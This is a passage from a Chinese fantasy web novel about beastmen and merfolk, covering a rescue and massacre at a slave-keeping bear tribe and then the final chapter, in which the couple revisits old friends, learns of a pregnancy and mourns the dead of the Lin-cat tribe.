白争争看着不忍,道:“既然担心幼崽,为什么还要帮着别人做伤害人鱼的事?” “我、我呜……”亚兽人痛哭。 白争争愈发笃定,里头有事。 边上,烬看自家伴侣拧着眉头,手心落在他眉上抚了抚。他淡看着哭泣的亚兽人,以及仓惶无措的幼崽,道:“小夏,你说你阿父没死,你看到的?” 小夏抬头,执拗道:“就是没死!” 白争争了悟。 他看着亚兽人单薄的背脊,心中叹气。 也是,带着两个幼崽的亚兽人生存都难,谈什么天天闲着没事干来盯人。 多半是幼崽阿父做了筹码,逼迫他去。 既是这样,烬没对他们动手就是意料之中了。 * 另一边,人鱼确定了那抓了飞鸟的兽人部落位置,摸清情况,连夜往驻地里赶。 次日天明,人鱼才赶到驻地。 驻地腾起炊烟,人鱼们已经在做饭。阿九见烬就在院中,推开门便道:“王!飞鸟半路被拦截了。” 烬:“先吃饭。” “王!驻地是不是出事了。”阿九急得眼里全是红血丝。 烬见白争争从屋里打着哈欠出来,走过去将人扶住。 白争争道:“我们过来的时候,那边不见人鱼,只见很久之前留下的打斗的痕迹。” 阿九一惊。 白争争问:“所以你在那边看到人鱼没有?” 阿九捏得拳头咯吱响,“我只看到那边有很多奴隶兽人,不知道阿达他们是不是在那里。” 烬道:“那就去看看。” * 人鱼擅水,环岛所在的海岸附近几乎都有人鱼。但往腹地,人鱼少些。 先前从南部岛上带回那些奴隶兽人之后,人鱼送了些回来并在这里驻扎下来。 同时也按照烬的命令,禁止岛上不许贩卖与养奴隶。 人鱼多的地方,兽人们自然不敢。但都享受了那么多年了,怎么可能因为人鱼一句话的事就不养这些奴隶兽人了。 恰好,像熊部落这样喜欢养奴隶的兽人一般都在中部。虽部落不如先前犬族部落、翼族部落那么大,但在一众小部落面前,依旧有绝对的实力。 人鱼不让,他们就悄悄的。 但可惜,负责管他们这一片的人鱼都是些脑子转不过弯的,他们就是把奴隶藏起来都不行,还必须给他们放了。 凭什么! 那可是他们自己费了力气抓回来的。 人鱼闹得他们烦,如此,才动了其他心思。 他们在第二环岛横行霸道惯了,即使听过人鱼的威名,但也只是听过,并不放在心上。 这不,都弄了那些人鱼这么久了,其他的蠢货不也还没发现。 熊部落里,兽人们吃着奴隶种的粮食,蜂蜜,日子那叫一个美。 熊部落的族长正值壮年,找了好几个伴侣,小熊崽子生了一窝又一窝。 这冬季,熊部落的兽人最喜欢窝在屋子里不出来。像外面那些做饭的、养崽的还有杂七杂八的事儿全让奴隶干着。 “大哥!”熊已烤着火昏昏欲睡,忽然被他兄弟给叫醒。 “什么事?”熊已不耐烦,脸上的横肉也跟着抖了抖。 “大哥。”熊尔快步跑进来,凑到熊已耳边低声道,“那些人鱼好像快不行了。” “死了?”熊已眼睛睁开。 “没有,但我看快了。” 熊已又躺下去,不耐烦道:“没死就让他们继续干活儿,死了就找个地方扔了。” “可那是人鱼啊!” 熊已睨自己兄弟一眼,笑道:“人鱼怎么了,不也被我们弄到手了。 “可是万一……” “什么万一万二的,我都没怕你怕什么!滚,别碍着我睡觉。” “大哥!” “叫你滚你听不懂?” 熊尔:“哎!” 他匆匆出去,眉头拧成死结。也不知道为什么,他总有不好的预感。 熊部落建在山里,三面环山。部落里兽人混杂,熊兽人居多,像猫兽人、犬兽人都有一些。 冬季林子里安静,熊兽人也大多待在屋子里不出来。但山脚下的田地跟河中,依旧有不少兽人活动的身影。 这些兽人大多打着赤膊,光脚走路。皮都冻得发紫。 在部落后头,隐藏在树林之中的磨坊里,兽人更是苦累。 兽人推着石磨,沿着脚下踩出来的一圈黑中泛红的血痕一刻不停地转动。 兽人半身倾倒在架子上,仅有的一只手搭在磨盘上。稍有停顿,鞭子就挥下来。 “没吃饭呢!快点!” 达动了动干裂的嘴皮,透过发缝看着面目可憎的熊兽人。 “看什么看,快点!”熊兽人被他看得心里发凉,一想到他是人鱼,又扬起鞭子狠狠抽去。 “再看!把你眼睛挖了!” “我去他爷的!”人鱼九见自己兄弟这幅样子,都快认不出来了。 他怒火冲天,冲出去就掐住那熊兽人的脖子。 其他人鱼紧随其后,逮住其他看守的兽人,下手没个轻重,脖子一拧就断了。 那被抓住的熊兽人惊恐地看着来人,张大嘴巴想呼救,阿九将他往地上一甩—— 兽人脑袋撞在磨盘上,顿时晕了过去。 达动了动唇,见兄弟来了,疲惫地笑了笑。 “晚了点儿。” 人鱼愧疚不已。 “不是我,是王发现的。” 达:“王……” 他四处寻找,烬从林子里出来,烬道:“其他人鱼呢?” “都在、都在草屋呢。王,救救……”达手指着破败得完全挡不住风的茅屋,头一歪,顿时晕了过去。 阿九抱着他,吓得忙探他的鼻息。 白争争背着草药来的,见状赶紧让人鱼将他转移到草屋里。 当看到屋中倒了一地的人鱼,各个狼狈,要死不活躺着。 若不是胸口还有一点呼吸,白争争都以为他们死了。 “烬!得马上救。” 烬看向身后,他带过来的十多个人鱼。 “去,给我把他们族长的屋腾出来。” “是!” 人鱼武力在兽人中数一数二,熊族能将一个驻地的人鱼端了,一则是人鱼没对他们警惕,二是他们兽人多。 真面对面打起来,上了南部战场的人鱼,怎么会沦落到这个地步。 烬冷着脸,听白争争指挥着救治兽人。 而外面,人鱼们处于暴怒中。 十几个人鱼几乎横扫这个部落。 当门被轻轻推开,熊尔翻身,看着门口背光的兽人道:“谁啊。” 人鱼笑道:“你爷爷。” 熊尔猛地坐起,他嗅到了人鱼的气息! 阿九冲进来,直接卸了他两个手臂,反手将他压着跪在地上。手里长刀往他脖子一划,熊尔惊叫:“啊!” 阿九:“啊什么?” 熊尔瑟瑟发抖,直接吓得腿软。 “别杀我,别杀我。都是我哥干的,都是他的主意!我还给人鱼送饭,还给他们求情!我是好的!” 阿九提着他出去,转到最大的那间屋子。 熊尔看到一地倒下的族人,惊恐得头皮发麻,寸步难行。 到了他哥那屋,只见两个兽人正好一左一右举着那锋利的玩意儿,直直地砍下了熊已的两个手臂。 “啊!!!!” “大哥!”熊尔吓得翻白眼。 阿九啧了声,道:“不要把血弄到屋里。去跟王说,房子空出来了。” 其中一个人鱼点头,提着带血的到擦过熊尔身边,跑了出去。 另一个人鱼将疼晕过去的熊已提出来,扔到空地上。再幽幽盯着熊尔,道:“我好像没看到你们部落的祭司,他在哪里?” 熊尔呆愣,像傻了。 “问你话呢。”人鱼将刀尖移到熊尔面前。 “祭司、祭司……呜哇!!!我不知道祭司去哪里了!哥,哥你救救我啊!” “哥!” 草房,奴隶兽人们看到仇人被砍的一幕幕,眼中注入生机。 当看到他们把受伤的人鱼往暖和的屋里搬时,犹豫了一下,就跑来帮忙。 白争争道了一声谢,看他身上同样伤口不少,也拿了些草药给他们。 “屋子都空出来了,你们自己找地方暖和一下。” 这里的奴隶兽人数数大几百,这仅仅是表面。 据活着的奴隶兽人说,山后有个天然的坑洞,里面堆满了奴隶兽人的尸体。 这些熊部落的兽人不把他们当兽人,往死里用,反正弄死了还能抓回来新的一批。 白争争听罢,看到那断臂的熊兽人,都觉得是轻的。 人鱼受了重伤,加之吃不饱,一直劳作,伤上加伤。白争争只会简单的处理,他看着烬道:“还是得找祭司来。” 烬看向一旁的阿九。 阿九低头:“他们祭司昨晚跑了,我们正在找。” 白争争道:“带上大黑,他飞得快。赶紧把祭司带回来,不然他们怕是不行了。” 阿九转头,干脆自己去找。 人鱼手里有利器,他们闯入熊部落,兽人们都没得及反应就挨了刀。 人鱼都是一刀毙命,死尸被奴隶兽人们抬出来,堆在空地上,垒成小山。 加上领头的已经躺在地上,其余兽人不敢再反抗一点。 烬看着留下来的人鱼,声音淡淡:“参与了这事的,一个别留。” 人鱼颔首,迅速传达了王的命令。 屋外哀嚎四起,伴随着奴隶兽人们畅快的嘶吼。人鱼们砍瓜一样厮杀,奴隶兽人就补刀。 一个部落近千数兽人,在人鱼跟奴隶兽人手下,居然也没坚持到一个小时。 烬压着眉,看着这一屋残破的人鱼,满是火气。 熊兽人或许怕他们跑了或者反抗,十多个人鱼每个四肢都是残缺的。 有的手臂扭曲,有的腿上骨头断裂,皮肉松松垮垮挂着。 烬压抑着,眼眸森冷。 没多久,外面声音没了。但血腥味儿随着冬风往屋里钻。熏得白争争捂着胸口,急急忙忙蹲在一旁吐。 烬见状,示意人鱼将门关了。 扶着伴侣后背,让他脑袋抵在自己身上。 “先忍忍。我让他们收拾。” 白争争揪着烬的兽皮衣,在他脖间喘.息。淡淡的冷香压制住胸口的闷意,白争争好歹是缓过来一点。 “没事,多半是赶了路,吹了点凉风受不了。缓缓就好。” 阿九骑着大黑寻找熊族的祭司,最后在后山给兽人拎住。急急忙忙带回来,往屋里一扔。 “他们要没了,你也别活。” 熊族祭司哪敢反抗,赶紧爬起来。 人鱼又去翻了他屋子,把他要的东西拿过来。 全程人鱼盯着,熊族祭司都怕他们一个不小心,把自己脑袋拧下来。 就跟外面堆着的那些兽人一样。 熬到晚上,所有兽人的伤口被包扎好,熊祭司又被人鱼拎着去给那些奴隶兽人治病。 从回来忙到第二天早上,他都不敢停。 同时,熊部落抓了人鱼的事情传开,听说一个部落被灭得差不多了。 但凡还有藏着奴隶兽人的部落,立刻将奴隶兽人放了,连夜搬离。 烬闹得这么大,杀鸡儆猴,目的达到了。 折腾一晚,只剩下一口气的人鱼终于熬过危险期。现在他们不宜搬动,奴隶兽人们便帮着人鱼把这个地方打扫出来。 奴隶兽人们现在已经无处可去,烬便做主,让他们在这里安顿下来。 至于剩下的活着的熊兽人以及幼崽,由人鱼监督,要还能安分过日子,就让他们呆在这里。要不安分,全部送去南部岛上。 不过经过这事儿的教训,人鱼们也愈发谨慎。 不用烬再提醒,便商量出个决定。各驻地的人鱼一段时间一换,时不时碰碰面。 这事一解决,烬带着白争争继续往外围走。 不过天冷,路途上大半都是在各个驻地度过的。 等走完了第二环岛大部分地方,见到一个个被抓去做奴隶的兽人们重新组建的新部落,烬就知道差不多了。 他带着白争争度海,在春暖花开时,终于到了环岛外围。 这片大陆面积最广,少有几千兽人的大部落。 因着食物不算充沛,野兽不多,兽人们又不会种植,所以都是小部落为主。 而这些部落又多居住在南边温暖的地方,北边的部落就更少了。 白争争直接让大黑往北走。 他看着手上的兽皮地图,一共两份。 一份是黑羊部落给他的,一份是他在黑羊部落地图的基础上,又增加了不少细节重新画的。 他打算把两副地图都交给黑羊部落。 离开这边去人鱼王国,要是没有黑羊部落的地图,他们也难走到那边去。 这次回来,要看看故土,也要见见老朋友。【魔蝎小说 mo xie xs .c om】 第 79 章【大结局】 第79章 第 79 章 大结局 早春时节, 北部积雪陆续消散。 嫩芽顶着残雪,只露出一点柔嫩的绿色。 勤劳的黑羊兽人们已经开始开垦土地,预备新一年的播种。 大黑已经来过两次,见到底下忙碌的兽人, 极通人性地叫了两声。 兽人们呼出热气儿, 抬头一看, 险些没认出来。 “林猫?” 大黑落地, 白争争冲着兽人们招手笑道:“又见面了!” 黑羊惊奇, 扔了农具就围上来。 “还真是!你怎么回来了, 去到人鱼王国没有?” “诶!他旁边的不就是人鱼。” “那肯定到了?” 白争争笑道:“是, 到了。” 烬跳下大黑背上, 帮着把带来的东西接下来。白争争再往下面一跳,烬接住他,轻轻放下来。 “那这肯定是你的伴侣了?” “是。”白争争道。 “争争!”少年拨开族人走到跟前,捂了一个冬季的皮肤白了些。 “阿吉。”白争争笑道,“老族长还好吗?” “好着呢, 我带你们去。” 白争争点头, 要帮烬搬东西。兽人们见状, 利索地一人提一袋,跟着他们后面走。 黑羊兽人们也好奇,一路上不免问:“你不是带着幼崽一起的,幼崽呢?” “幼崽留在那边了。” “那找到族人了吗?”兽人问得小心,眼里担忧。 白争争温和道:“找到了。” “那好啊!”兽人们一下热闹起来,发自真心替他高兴。 白争争点点头道:“嗯,多亏你们提供消息。” “你们也是辛苦,那么远,带着十几个幼崽赶路。路上没出什么事吧?” “遇到点意外, 不过还好,有惊无险。” 黑羊兽人们听了唏嘘。 这去人鱼王国的路果然不是那么好走的。 说话间,走到了老族长的家门口。黑羊兽人们对白争争还感兴趣,加之现在也没正式开始农忙,便跟着坐下来,聊聊天。 老族长怕冷,屋里还烧着火堆。 火堆上挂着烧水的陶罐,阿吉去叫了老族长出来,又忙给白争争两个倒了热水。 又弄了个陶碗,抓上几把去年晒的没吃完的果干儿放在众人中间。 老族长被兽人围着,笑呵呵的,显然对白争争的到来很高兴。 “你们是从人鱼王国来的?” 白争争点头:“是,回来看看部落,顺路过来,把这个还给你们。” 白争争说着,烬便把两幅兽皮拿出来。 阿吉坐在自家太爷爷身边,将兽皮展开,是两幅地图。 “这个……”老族长疑惑,“当初送给你们了,就不用拿回来了。” 白争争道:“不是,我把地图完善了些,您看看。” 老族长眼睛有些看不清,阿吉帮着他把兽皮拿近了,他摸着上面的痕迹道:“这、这可比我们的好多了。” “现在第二环岛有些部落换了位置,有些部落也没了,上面还有新增的一些人鱼驻地,以后黑羊部落要去人鱼王国直接往驻地那一条路更安全些。” 老族长看一眼烬。 人鱼还在这里呢…… 白争争领会他的意思,笑道:“现在人鱼王国不限制兽人出入,也不用收银币,只要不是去干坏事的,我们都欢迎。” 黑羊兽人们不好意思笑笑。 他们往外运送种子,这还不算坏事。 白争争道:“对了,还有这些。” 他们给黑羊部落带了些种子过来,都是挑的好的。 “北部离人鱼王国太远,我猜测你们兴许用得上,就也带了些种子来。” “这怎么行。”黑羊兽人们忐忑,目光看着烬。 烬:“可以。” “种子能卖了?”阿吉试探问。 烬:“能。” 兽人一下高兴起来。可笑过了,又不免沮丧:“能卖咱离得这么远,而且那么贵,也买不了多少。” 烬:“你们怎么交易的?” 阿吉道:“五十张上等的兽皮换一小袋的种子。”为了换种子,他们一年要往人鱼王国运送几大车的好兽皮。 烬:“嗯,以后不会了。” 这是什么意思? 黑羊兽人们不懂。 白争争道:“人鱼王国里之前经历了些混乱,一张兽皮都要好多银币才能买到。种子就更贵了,一些小部落也不怎么买得起。不过之后就不会了。” 烬已经让菱整顿这事儿,相信他们回去应该就好了。 “但这种子,我们还是不能收下。”老族长道,“给你们兽皮地图,你们已经留下过兽皮了。这个,你们还是自己部落留着吧。” 白争争却道:“本来就是带着给你们的。” “不用,不用……”老族长摇头。 白争争无奈笑道:“老族长,那你就当帮我们一个忙。” “你说。” “是这样,我们想让你们部落帮忙,帮助外围的兽人学会种植。在环洲外围,也就你们部落会种植,但其他兽人依旧依靠捕猎采集,获取食物艰难。” 老族长愣了愣,看向烬笑道:“这怕是人鱼的想法吧。” 烬点头道:“也不用多费心思,只遇到想要种植的,还请你帮一帮。” 人鱼能管得到第二环岛,但环洲外围实在是太远了。这里小部落众多,人鱼没那么多兽人能派过来,只有依靠本地的强大一点的兽人部落庇佑些。 烬:“种子的事,王国会慢慢解决。之后王国里的商队也会到外围来交换,这个你放心。” 老族长眼中精光一闪,高兴道:“这也不是什么难事,我应下来。” “那这个,您就收下。”白争争将种子往前推了推。 老族长看着白争争一脸欣慰,点点头道:“好,我们收下。” 送了带来的东西,白争争又被老族长问起去人鱼王国的事。白争争与他说了许久的话,围着的其他黑羊兽人听得津津有味。 碗里的果干吃完了又续,一群兽人听得或皱眉,或紧张,等听到他们平安到了人鱼王国,皆是松了口气。 老族长道:“好在有惊无险。” 阿吉:“是我我就不敢。” 老族长嫌弃,还没人家林猫胆子大。 说着话,不知不觉天就黑了。兽人们一看该做饭了,依依不舍离开。 到了家门前,又发现农具没往家里拿,又被伴侣追着,忙跑田里去找。 老族长累了,便被阿吉扶着回去休息。 他让阿吉给他们安排了屋子,要留他们在黑羊部落住上几天。本来就是回来看看的,白争争跟烬也留了下来。 晚间,阿吉将饭送来。 白争争跟烬吃过之后,就回屋里歇着了。 差不多时间,黑羊部落里的各家兽人陆续没了动静,兽人们也都睡觉了。 次日天刚亮,黑羊部落中就有兽人活动的动静。 白争争起来时,兽人们已经扛着骨制的农具又出门了。白争争的到来对他们而言,也不过是农闲中空出半日休息休息,该做的活儿依旧要做。 白争争站在门口,低低道:“烬,你说王国的农具能送送过来吗?” “人鱼一族跟六大部落有一起组建商队的想法。” “农具能带过来?” 烬站在白争争身后,搂住他的腰,俯身贴近道:“慢慢来,会的。” 黑羊部落的兽人忙着春耕,白争争在这几天,也最多是跟老族长以及兽人们说说人鱼王国的事儿。 等到休息够了,身上不觉疲惫后,又再次启程。 他们先直接去了雪狐部落,见到老朋友,还跟他们交换了些兽皮。 与烬一起爬过雪山,见过藏在雪山里的雪豹部落,玩儿得差不多了,才往南飞去。 幼崽在山洞等着他们。 “争争,看你野的,一出去就忘了时间。我们都到了一个月了。”白争争一落地,就被他阿父数落。 白争争往烬身后一躲,道:“我们有事。” “什么事?”照看着他脸,“有事还把自己吃胖了。” “胖了吗?”白争争摸着自己的脸,看向烬。 烬捏了捏,“刚刚好。” 不胖。 照:“快去吃点东西休息,我们都出来这么久了还没到部落。你阿爸该等得着急了。” 白争争:“不是让你们先过去。” 照:“你不跟着一起?” 白争争看着他阿父的眼睛,气弱了几分,默默道:“跟。” 他阿父还拿他当小孩儿看。 “快去!” “哦。”白争争拉着烬就回了屋子。 这地方地面杂草被除干净了,草屋顶上的干草被换成了新的,一看就是兽人们干的。 白争争一进屋,往铺着厚厚兽皮的床上一躺下,烬坐下来,挡在外侧。 “你不睡吗?”白争争勾了勾他的手道。 烬:“不困。” “那我们去过南边就该回去了。” “嗯。” “我阿父干嘛这么着急,都没休息够呢。” 烬摸着白争争的头发,低声:“不然我们就晚一点走。” “不行,我阿父不会……” 几句说的时间,白争争闭着眼睛,声音含糊了。烬等了一会儿,白争争便睡熟过去。 从出来之后,争争总是犯困。睡觉也总能飞快睡着。 烬担心他太累,路上放慢了速度,但这个症状还是没有减轻。他不得不怀疑,是不是…… 烬目光落在伴侣的腹部,那里被兽皮盖住,看不出来。 烬倾身,手沿着兽皮底下,轻轻放在白争争的腹部。 依旧是软绵绵的,但似乎…… 手下轻动,烬呆了呆。 “唔。”白争争皱眉,双手下意识捂住肚子。 烬侧身躺下,见白争争滚到怀里,轻轻拍着他的后背。等他睡熟,手又轻轻放在他的肚子上。 还是软绵绵的,像平时吃饱了的时候微微鼓起。不过位置有点往下。 烬心脏急促跳动,忍不住将伴侣搂紧了一些。 祭司不在,他只能问问有经验的亚兽人。 “这看着,是有点像。” 白争争迷迷糊糊睡醒时,听到耳边低低的声音觉得有点吵。他下意识往熟悉的地方钻,脑袋埋在烬的脖子上。后知后觉自己是被抱着的。 “哟!肯定是个人鱼崽崽。” “林猫崽崽也可能,这么小,最多一个。” 什么林猫崽崽,人鱼崽崽的? 白争争艰难睁开眼睛,就见部落里的那些亚兽人叔叔们围着他看。更准群地来说,是围着他的肚子看。 白争争低头:“咦?我胖了?” 他刚睡醒,声音还沙哑着。 林猫兽人们笑道:“胖什么胖,有小崽了。” “有小崽……什么?”白争争一下瞪圆了眼睛,直挺挺地坐起来。烬护着他的后腰,拉着兽皮将他细细盖好。 “谁有崽了?” “你啊。” “我?”白争争看向烬,手指着自己,“我吗?” 烬握住他的手,道:“嗯,阿叔们说的。你……没有感觉?” 白争争:“什么感觉?不就是食量大点儿,能睡一点儿,没什么感觉啊。” 林猫兽人们慈爱笑道:“那说明这个崽子听话。” “好好养着,等咱们回去差不多就该生了。” 白争争恍恍惚惚,直到阿叔们出去都没反应过来。 烬担心他,将人拢着抱住。 “是不是害怕?” 白争争呆呆摇头。 “难受?” 白争争忽的转头,跨坐烬身上,双腿弯曲将他盘着。 “你看,我这么灵活。” “嗯。” “所以假的吧。” 烬啄了下他的鼻尖,被他逗得眼里含笑。 “嗯,假的。” “呼……我就说嘛。”白争争盯着烬平静的眸子看了两秒,脑袋往他肩膀上一撞,嫌不够,又撞了两下。 烬伸手护住他额头,“小心撞疼了。” “呜……都怪你。” “怪我。”烬对伴侣有无尽的包容,以及疼惜。他揉揉白争争的额头,“我在,不怕。” “我怕。” “那怎么才不怕?” 白争争真仔细思考,接着肚子上传来咕噜声,他勾着烬的手指道:“饿了,吃饱了再想。” “好。”烬闷笑出声,亲了亲白争争泛红的脸颊,将他放下来。 烬出门去,白争争盘腿坐在床上,迅速推开兽皮,拉高自己的衣摆。 他左瞧右瞧,都觉得是胖了。 小肚子那点鼓起来的弧度微不可见,深吸口气,还能再扁一点。 白争争轻轻拍拍肚皮。 “唔!”有东西再动! 白争争瞳孔缩紧,又小心翼翼地戳了戳。 没动静。 再戳了戳,还是没动静。 “有幼崽吗?” 崽子像被他闹烦了,又在立马蛄蛹一下。白争争立马将兽皮往肚子上一盖—— “肠道蠕动,肠道蠕动!” 他瘫软下去,两眼发直望着房梁。 啊,他有崽了。 翻个身,又盯着门口。 怎么办啊,他没生过,没经验啊。 不一会儿,看到崽子他阿父进来。那大长腿,宽肩窄腰,还有漂亮脸蛋,白争争眼神迷离…… 崽他阿父真好看。 翻个身,坐起来,张开双手冲着烬。 等到烬将他抱起来,白争争贴脸跟他挤了挤。 有个漂亮崽也不错。 “崽子叫什么好呢?” 烬诧异他这么快就接受了,单手抱着人坐下,然后让他吃饭。 白争争就着烬的手喝了一口汤。 新鲜的鱼汤,奶白色的。 “就叫鱼汤好不好?” 烬有些无奈,他知道伴侣现在思绪还有点混乱,说这些都是不过脑子。 他伺候着白争争将汤喝完,才轻抚他的后背,低低道:“叫什么都好,不要紧张。争争,我陪着你的。” 白争争吸了吸鼻子,“我没紧张啊。” 烬:“好,没紧张。” 白争争泄气,窝在烬怀里装死,不动了。 过了很久,他才道:“我们快点去南边吧,然后回王国。” “好。” 白争争说什么,烬都依他。 第二天,兽人们照常按照计划往南。有食人鹰帮助,也不费多少体力。 白争争裹得严实,窝在烬身边,抓着他的手无聊地掰着玩儿。 烬:“冷不冷?” 白争争摇摇头,“不冷。” “你说我阿父他们怎么就一点其他反应都没有,就我一个紧张兮兮。” 烬:“我也不知道。” 旁边兽人听了,笑道:“争争啊,不怕啊。不难,就像……” “叔!你别说!” 兽人笑得肩膀直抖,“本来就是嘛。” * 南边。 春日气息更浓,植物抽出嫩芽,各个部落的兽人都已经开始采集起来吃了。 食人鹰在林猫原来的部落落下。 这里还是原来的兽人住着。 兽人们一到,他们起先警惕,看到了白争争跟烬,愣了一会儿才指着他们,结结巴巴好久才道:“是你们啊……” 白争争笑道:“是,我找到族人了。” “恭喜啊。” 林猫兽人们站在篱笆外,近乡情怯,目光望着那些熟悉又有些陌生的草房子,眼睛一酸。 莫说进去,看一眼就崩溃了。 这一幕看得里面的兽人们手足无措。 他们知道这地方原来是林猫兽人的部落,如今他们占了人家屋子,人家又在外面哭,总感觉过意不去。 “你们、你们要不进来?” 白争争抿着唇,看自己阿父也面色凝重,走过去道:“阿父,进去看看吧。” “来这一趟,总不是为了站在门口的。” 照对族人道:“进去吧。” 之后,气氛似乎都有些沉重了。 照先进去,跟现在的部落的族长互相认识了一番,才道:“我们现在住在另一个地方,回来就是看看,想知道那些、那些尸骨,在哪里?” 牛兽人点头,表示理解。 他又将之前给白争争说的那些话说了一遍,照静静听着。 后头,其他林猫兽人强忍着情绪进来了。 扑抱着绒球,立在一旁。目光细细打量。 这个屋子曾今就是他们家的屋子,他阿爷带着他们兄弟三个一起修的,修得最好,最结实。 但现在仔细一看,却发现还是变了。 墙上多了很多人家兽人的东西,再也没了阿爷跟兄弟的气息。 都变了。 扑低下头,摸摸格外安静的小崽。 “出去玩儿吧。” 绒球歪头靠在他胸口,“我要陪着阿父。” 扑喉咙堵得慌,咽了咽,才勉强说得出话来。 “好,陪着。” 那一场灾祸对弱小的林猫部落来说,是抹不开的伤痛。他们部落的兽人本来就少,每一个都缺一不可。 但就是因为南边兽人的贪婪,他们流离失所,又过了那么久的暗无天日的日子。 好在,好在终究是回来了。 幼崽也好好的,一个不少。 扑目光落在白争争的身上,要说最该感激的,还有争争。 要不是他,还有哪几个大一点的,这一群小幼崽的都不知道还在不在。 扑想到这里,低头挨了挨自家绒球。 万幸,崽崽安稳。 * “原本在部落里找到的那些残骸我们都收集起来埋在这里了。”牛兽人带他们去了部落后头。 那里密林交织,光线昏暗。 地面上看着是平整的,上头放了几块石头垒起来,当做记好。 “其实海里还有不少,但是现在应该都找不到了。”牛兽人道。 照点点头,道了声谢。 扑知道这些尸骨早已分不清谁是谁的,他们以后就要定居在人鱼王国。 这么远的路,多半不会再回来一次了。 所以扑问:“族长,要带走吗?” 白争争:“那岂不是要挖出来。” “不。”照立刻道,“不用了。既然他们已经去见兽神了,再挖出来也没什么意义。这是林猫祖先也生活的地方,就让他们在这里吧。” 站在一旁的牛兽人也默默点头。 兽人已经死了,何必打扰。 暗林中,兽人们竞相沉默。白争争立在后头,手臂撑着烬松松劲儿。 他看着身前这些长辈们,一个个眼中含泪,克制得直掐大腿才忍住情绪,不免心里闷堵得慌。 “争争。” “诶。”白争争惊得神思抽离,看向他阿父。 照道:“你带幼崽先回去休息休息,我们等会儿回来。” 他阿父的声音也有点闷。 白争争看成年兽人们快忍不住了,扑都压着自家绒球的脑袋,不让他看自己忍得泛红的眼眶。 白争争看了眼烬,两人一同上前将幼崽带走。 牛兽人也与他们一同离开。 雁走在白争争身边,回头看了看已经被树木遮挡的成年兽人们。白争争托着她脑袋,让她转头回来。 雁道:“争争,你说我阿父会在这儿吗?” 白争争脚步一顿。 这几个幼崽没了所有亲人,成年长辈们都避免跟幼崽谈起这事儿。 莫说幼崽,白争争知道得都不怎么清楚。 他看着三个纷纷抬头望着他,一脸求知的幼崽,心里被狠狠揪了一下。想笑,却笑得有些勉强道:“我觉得应该在兽神那里。” 既然兽人们信仰兽神,那如果幼崽相信自己的亲人已经去陪伴兽神了,会不会心里好受一点。 雁轻轻眨眼,忽然弯着嘴角笑起来。 “我也觉得!” “阿父他们肯定没舍得走,还在兽神那里等着我们。等我们以后也去见兽神了,就可以看到他们了!” 白争争低低道:“嗯,肯定的。” 绒球蹲在烬肩膀,看着底下的几个大幼崽道:“睡觉的时候也可以见到,我昨晚就见到阿爷了。” “对!我见到过我阿爸,他让我好好吃饭,吃胖点他看着高兴。” “我也看到了。” “我还看到了祭司!” “……” 童言童语固稚嫩,但也最能击中人心。白争争听得心里又酸又软,忍不住抓紧了烬的手。 他都不忍心打扰,静静看着幼崽们兴奋又骄傲地分享着梦里的温情。 * 当朝霞再一次铺满天空,兽人们也再一次启程。 海风夹在着林间草木的清香,含着兽人们熟悉的味道,前来相送。 下一次或许不会再见。 但林猫们的未来,必将是春暖花开。 “再见!”底下兽人相送,连他们的老邻居,南边灰岩部落的兔族长都来了。 林猫兽人笑着,挥手道:“再见!有空来人鱼王国看看!” “那你们等着我们!” “诶!!!” 食人鹰飞高了,飞远了。 白争争看着天际,绚烂朝霞仿佛触手可及。他一把抓住烬的手,与他十指相扣。 烬侧头,看着伴侣一脸兴致盎然。 白争争道:“回家!” 烬低笑,扣紧手指。凑近了,在白争争脸上蹭了蹭。 “回家。” 【全文完】【魔蝎小说 mo xie xs .c om】